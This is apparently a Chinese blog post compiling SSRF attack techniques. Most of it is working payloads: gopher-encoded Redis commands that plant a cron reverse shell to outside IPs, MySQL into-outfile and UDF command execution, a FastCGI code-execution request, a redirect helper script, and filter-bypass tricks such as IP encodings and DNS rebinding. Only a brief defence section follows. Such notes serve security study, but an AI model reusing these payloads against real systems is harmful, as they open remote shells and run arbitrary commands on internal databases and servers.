前言

最近主要是在思考考研的事。还是没想好--

这几天的话写了一篇简单代审投稿了星盟,看了会SSRF。今天简单写下SSRF。

本文所有思路均来自互联网,并没有新想法。仅仅只是做个记录。

本文可能会有大量重复文字,我会在文中文末明显处都会表明出处,侵权一定删除。

SSRF简介

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。这个漏洞造成的危害有:

注:一定要对SSRF CSRF XSS这几个漏洞有着明显的区别。我仍记得在大一刚开始时接触这几个漏洞有点迷糊。。

https://www.cnblogs.com/wangtanzhi/p/12242868.html

CSRF漏洞以前我也写过一篇文章,现在来看文章很水--有很多知识都没写,这个等以后考研结束再看看怎么填坑吧(

危害

1:可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2:攻击运行在内网或本地的应用程序(比如溢出);

3:对内网web应用进行指纹识别,通过访问默认文件实现;

4:攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5:利用file协议读取本地文件等。

漏洞利用

本地利用

# 利用file协议查看文件
curl -v 'file:///etc/passwd' # 利用dict探测端口
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info' #Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,
也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面
# 利用gopher协议反弹shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

https://www.smi1e.top/通过一道审计题了解ssrf/

远程利用

漏洞代码ssrf.php(未做任何SSRF防御)

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
} $url = $_GET['url'];
curl($url);

远程利用方式

# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd' # 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22' # 利用gopher协议反弹shell curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

漏洞代码ssrf2.php

  • 限制协议为HTTP、HTTPS
  • 设置跳转重定向为True(默认不跳转)

<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
} $url = $_GET['url'];
curl($url);
?>

此时,再使用dict协议已经不成功。

注:dict协议:词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。这个还有更复杂利用我们下文再提。

http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info

我们怎么利用呢,这里就是著名的302跳转利用

当URL存在临时(302)或永久(301)跳转时,则继续请求跳转后的URL那么我们可以通过HTTP(S)的链接302跳转到gopher协议上。我们继续构造一个302跳转服务,代码如下302.php:

<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}

利用

# 利用dict探测端口
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info' # 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd' #利用gopher协议反弹shell
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

利用gopher协议

这个可以是本文的核心了,在SSRF中gopher协议能做的实在的太多了

如利用SSRF漏洞结合Gohper或者Dict协议攻击Redis、MongoDB、Memcache等NoSQL,利用SSRF漏洞攻击内网MySQL、PostgreSQL、MSSQL等关系型数据库

链接:

http://www.codersec.net/2020/05/SSRF攻击姿势汇总/

https://paper.seebug.org/510/

gopher协议背景介绍

一、Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;二、地鼠Gopher(谷佛)是迪士尼卡通人物之一。

opher协议是个tcp/ip协议,通过gopher协议可以发送tcp stream做的事情。比如我们操作mysql,操作redis,甚至使用smtp协议发送邮件等等都可以通过转换成gopher协议达到一样的效果。

gopher protocol smuggle

gopher协议是万金油,通过protocol smuggle能执行转换成太多协议

攻击mysql

详细看文章:

https://paper.seebug.org/510/

条件

1:新建一个MySQL用户,并且密码为空

2:mysql高于5.7需要关闭mysql tls

3:编辑配置文件: /path/to/file/my.cnf

[mysqld]
... skip_ssl
# disable_ssl

上面的文章介绍了如何通过wireshark 抓包然后转换成gopher协议

或者如果你嫌弃麻烦,直接使用大佬开发的工具https://xz.aliyun.com/t/5844即可,协议怎么转成gopher协议,本文不展开。

还有一个工具:

一个简单的mysql client,测试与mysql 的通信并生成payload。

https://github.com/undefinedd/extract0r-

注意:

利用SSRF获取Shell

很多情况下,SSRF是没有回显的,即使发送了数据而且MySQL也执行了,但是我们看不到执行后的返回数据,最后我们要的是系统的一个shell

上面我们构造好了一堆TCP数据包,如果需要使用SSRF漏洞来攻击MySQL的话,那么我们可以使用gopher协议来发送上面的一堆TCP数据包,最后使用curl发送请求即可。

正常情况下,通过MySQL获取系统shell一般通过selectinto outfile系统文件,或者使用udf来搞,那么这里同样我们将获取shell的数据包提取出来,通过gopher协议发送这些数据包同样可以达到getshell的目的。

通过select xxx into outfile yyy写shell的数据包获取方法同上面构造攻击数据包的过程,将执行完写文件sql语句的抓包内容提取出来构造好即可,如下图成功写shell文件到系统目录:

eg:

show global variables like '%secure_file_priv%';

mysql> show global variables like '%secure_file_priv%';
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
1 row in set (0.00 sec)

所以可以直接执行

mysql -h 127.0.0.1 -uroot -e "select 'hello' into outfile '/var/lib/mysql-files/eval.php'";

转换成gopher协议利用即可

curl gopher://127.0.0.1:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%32%34%31%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3c%00%00%00%03%73%65%6c%65%63%74%20%27%68%65%6c%6c%6f%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%65%76%61%6c%2e%70%68%70%27%01%00%00%00%01

通过udf直接执行系统命令过程同样,执行完一系列导出udf到plugin的命令后,即可直接执行系统命令执行.

udf攻击

mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value |
+---------------+------------------------+
| plugin_dir | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

查看版本和操作系统到https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql下载

mysql> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Linux | x86_64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)

方便演示直接从sqlmap中复制出udf.so文件,实际攻击中可以使用gopher +mysql导出,前提是/usr/lib/mysql/plugin/目录有导出权限

select hex(load_file('/var/lib/mysql-files/mysqludf.so')) into outfile '/var/lib/mysql-files/udf.txt';
select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

查看一下so文件中支持哪些函数

nm -D /usr/lib/mysql/plugin/mysqludf.so

导入函数

create Function sys_eval returns string soname 'mysqludf.so';
select sys_eval ('whoami');

如下图所示反弹shell:

(注意:在导出文件时,当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了--secure-file-priv选项,导出文件时只能导出到规定的目录下,一般为/var/mysql/data命令,要自定义目录时必须修改配置文件设置secure-file-priv = “”;并且导入目录需要有写权限。)

redis反弹shell

我们先了解一下什么是redis。

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

基本命令

Redis 命令用于在 redis 服务上执行操作,其基本语法为: $ redis-cli $ redis-cli -h host -p port -a password

Redis 键(key)

redis 127.0.0.1:6379> SET runoobkey redis

OK

redis 127.0.0.1:6379> GET runoobkey

"redis"

redis 127.0.0.1:6379> DEL runoobkey

(integer) 1

在以上实例中 DEL 是一个命令, runoobkey 是一个键。 如果键被删除成功,命令执行后输出 (integer) 1,否则将输出 (integer) 0

我们先来看一下不借助gopher协议怎么弹shell:

链接:

https://www.cnblogs.com/ophxc/p/12872815.html#

攻击payload:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

第一步redis-cli -h $1 flushall,我们调用了redis的命令,-h这里指的是我们的主机ip地址,即$1这个变量,Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。 实例:

redis 127.0.0.1:6379> DBSIZE # 0 号数据库的 key 数量

(integer) 9

redis 127.0.0.1:6379> SELECT 1 # 切换到 1 号数据库

OK

redis 127.0.0.1:6379> DBSIZE # 1 号数据库的 key 数量

(integer) 6

redis 127.0.0.1:6379> flushall # 清空所有数据库的所有 key

OK

redis 127.0.0.1:6379> DBSIZE # 不但 1 号数据库被清空了

(integer) 0

redis 127.0.0.1:6379> SELECT 0 # 0 号数据库(以及其他所有数据库)也一样

OK

redis 127.0.0.1:6379> DBSIZE

(integer) 0

对于第二步:echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1这里我们利用到了Redis的管道技术,可以查看使用手册,手册上对其的定义是Redis 管道技术可以在服务端未响应时,客户端可以继续向服务端发送请求,并最终一次性读取所有服务端的响应。我们单纯的将前半段语句带入得到

root@kali:~# echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"

*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1

可以看到后半段是一个bashshell反弹,前半段我在网上查了之后发现这应该是定时计划,就是定时的执行我们的bash反弹,有三种定时的文件 /var/spool/cron/root , /var/spool/cron/crontabs/root 以及/etc/crontab,至于他的格式,我想这张图非常直观,我找了好久,qaq,这就代表这个指令是一直生效的,不会停止。

第三步: 指定本地数据库存放目录为/var/spool/cron/ 第四步: config get:获取配置文件信息。

config set:动态地调整 Redis 服务器的配置(configuration)而无须重启,可以修改的配置参数可以使用命令 CONFIG GET * 来列出,指定本地数据库文件名,默认值为dump.rdb,跟据上面我提到的三个路径在前两个路径我们的用户文件名为root,第三个是crontab,所以我们有不同的两种写法, 第一种:

redis-cli -h $1 config set dir /var/spool/cron/

redis-cli -h $1 config set dbfilename root

第二种:

config set dir /etc/

onfig set dbfilename crontab

最后一步,Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘, 保存成功就返回 OK ,这一步就是保存到我们的硬盘文件上了。

接下来我们看一下怎么利用gopher协议来redis反弹shell

链接:

https://www.jianshu.com/p/fd27f0eedccf

如果内网中的redis存在未授权访问漏洞,当Redis服务以root 权限运行时,利用 Gopher 协议攻击内网中的 Redis,通过写入定时任务可以实现反弹shell。

1:使用socat进行端口转发,将本地的4444端口转发到目标的6379端口,此时访问本地的4444端口,其实是访问目标的6379端口。

socat -v tcp-listen:4444,fork tcp-connect:192.168.88.158:6379

2:执行以下bash脚本

bash redis_cron.sh 127.0.0.1 4444

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

3:捕获到攻击redis的数据包,保存成socat.log

> 2019/02/01 02:04:10.385362  length=90 from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$63\r */1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1 \r
< 2019/02/01 02:04:10.387206 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.390057 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/02/01 02:04:10.392226 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.394801 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/02/01 02:04:10.396341 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.399187 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/02/01 02:04:10.409391 length=5 from=0 to=4
+OK\r
> 2019/02/01 02:04:10.419846 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/02/01 02:04:10.420636 length=5 from=0 to=4
+OK\r

4:使用以下脚本将数据包进行转码,得到poc

python tran_payload.py socat.log

*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

注意:$63表示字符串长度为63个字节,如果要换IP和端口,前面的$63也需要更改

#coding: utf-8
#author: JoyChou
import sys exp = '' with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

5:使用curl命令进行测试,成功接收到反弹shell

curl -v 'gopher://192.168.88.158:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.88.155/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

攻击fastcgi

链接:

https://www.jianshu.com/p/fd27f0eedccf

php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

前提条件:
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小于7.45.0时,gopher的%00会被截断)
知道服务器上任意一个php文件的绝对路径,例如/usr/local/lib/php/PEAR.php

exp下载地址:

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

首先监听2333端口的流量,并将输出保存成1.txt

nc -nvvlp 2333 > 1.txt

2:执行fpm.py,得到poc代码

python fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c '<?php echo `id`; exit;?>' -p 2333

3:使用如下脚本,将poc代码进行编码,得到gopher攻击的payload

import urllib

def go():
f = open("1.txt")
content = f.read()
print urllib.quote(content) if __name__ == "__main__":
go()

4:使用curl命令发送payload,成功执行了系统命令

curl -v "gopher://127.0.0.1:9000/_%01%01%96%A2%00%08%00%00%00%01%00%00%00%00%00%00%01%04%96%A2%01%E7%00%00%0E%02CONTENT_LENGTH24%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%96%A2%00%00%00%00%01%05%96%A2%00%18%00%00%3C%3Fphp%20echo%20%60id%60%3B%20exit%3B%3F%3E%01%05%96%A2%00%00%00%00"

攻击内网 Vulnerability Web

链接:

https://www.cnblogs.com/ophxc/p/12872815.html#

这一部分利用到了post请求相对简单,只需要我们利用gopher协议,对其进行编码改包把我们的提权指令传进去,但是注意特殊字符要使用url编码。

实例:

POST /exp.php HTTP/1.1

Host: 127.0.0.1

User-Agent: curl/7.43.0

Accept: /

Content-Length: 49

Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/10.0.0.1/2333 0>%261

把整个包以post请求利用gopher发出:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: /%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/10.0.0.1/2333 0>%25261null

从一位师傅那里找的图

DICT协议向redis写shell

词典网络协议,默认端口2628端口,允许用户在使用过程中访问更多的字典。

我们可以通过三条命令查看能否利用dict协议。

步骤一:利用flushall清理所有数据,保证我们接下来设置的定时任务能够执行成功。http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/flushall

步骤二:写入反弹命令:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/bhost=...%26bport=1234 步骤三:设置导出的路径就是我们的定时计划目录:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/

步骤四:设置导出的名字http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root

步骤五:到处我们的设置也就是保存在磁盘中:http://xxx.xxx.xx.xx/xx.php?url=dict://127.0.0.1:6379/save

Redis Slaveof 命令(服务器主从关系攻击)

命令作用:

如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。

另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。

主从模式就是指使用 一个 redis实例作为主机(master),其他实例 都 作为从机(slave),主机只负责写入数据,很多的从机负责读,这就很想我们常常说的 CDN 负载均衡的功能

设置主从:

redis 127.0.0.1:6379> SLAVEOF 127.0.0.1 6379

OK

断开主从以读取写数据

redis 127.0.0.1:6379> SLAVEOF NO ONE

OK

当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器,但这样对服务器可能会造成信息文件的丢失,这里需要我们自己搭建一个服务器搭载redis服务,它的原理是在自己掌控的服务器上面写上shell,然后通过ssrf漏洞让内网服务器执行同步命令,并把shell写到内网服务器上,绕过了过滤,因为slave 能主从复制机制从 master 获取到 rdb 文件,那么我们是不是可以自己写一个 “流氓服务器” 去模拟 master 然后将我们自定义的模块通过这种主从复制机制传递到 slave 上,slave 端只要将,我们传递来的 rdb 文件保存成一个 .so 文件然后再去进行模块加载,我们的攻击就完成了,总而言之就是master负责读,slave负责写,我们服务端读到了,那么本地目标机器就写上去了,就是这么简单。 详细通讯过程:

这里的$4,$7是表示命令行长度。

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

对于SSRF过滤的绕过: 开发者会对url进行过滤,将传过来的url参数进行正则表达式匹配,从而去除掉内网的ip,这样攻击就打不到内网了,例如^192.168(.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

1:对于这种正则表达式的匹配我们有些时候可以进行八进制,十六进制的转换。

对于192.168.3.6:

8进制格式:0300.0250.3.6

16进制格式:0xC0.0xA8.3.6

10进制整数格式:3232235521

16进制整数格式:0xC0A80306

2:http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容

3:可以指向任意ip的域名xip.io:http://127.0.0.1.xip.io/>http://127.0.0.1/

4:短地址http://dwz.cn/11SMa>http://127.0.0.1

5:利用句号。:127。0。0。1==>127.0.0.1

6:利用Enclosed alphanumerics

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵

Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ

ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ

⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴

⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

7:利用302跳转

(1)http://xip.io和xip.name当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过用短地址的方式绕过

8:通过各种非HTTP协议

DNS Rebinding(DNS 重绑定攻击)

我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。

服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

对于获得的IP进行判断,发现为非黑名单IP,则通过验证

服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

由于已经绕过验证,所以服务器端返回访问内网资源的结果。

weblogic ssrf攻击redis

不展开,之后会系统复现weblogic漏洞,想看的看链接:

https://www.jianshu.com/p/fd27f0eedccf

防御

过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

限制请求的端口为http常用的端口,比如,80,443,8080,8090。

黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

参考

https://www.cnblogs.com/ophxc/p/12865520.html

https://www.smi1e.top/通过一道审计题了解ssrf/

http://www.codersec.net/2020/05/SSRF攻击姿势汇总/

https://www.jianshu.com/p/3d477f990aa1

https://paper.seebug.org/510/

https://www.freebuf.com/articles/web/159342.html

https://www.jianshu.com/p/fd27f0eedccf

https://joychou.org/web/phpssrf.html#directory024554714418179386

https://xz.aliyun.com/t/5844

https://www.cnblogs.com/ophxc/p/12872815.html#

浅谈SSRF的更多相关文章

  1. 浅谈SSRF漏洞

    SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF是要目标网站 ...

  2. [10期]浅谈SSRF安全漏洞

    引子:SSRF 服务端请求伪造攻击 很多web应用都提供从其他服务器上获取数据的功能.使用用户指定的URL,web应用可以从其他服务器获取图片,下载文件,读取文件内容等. 这个功能被恶意使用的话,可以 ...

  3. 浅谈 Fragment 生命周期

    版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Fragment 文中如有纰漏,欢迎大家留言指出. Fragment 是在 Android 3.0 中 ...

  4. 浅谈 LayoutInflater

    浅谈 LayoutInflater 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/View 文中如有纰漏,欢迎大家留言指出. 在 Android 的 ...

  5. 浅谈Java的throw与throws

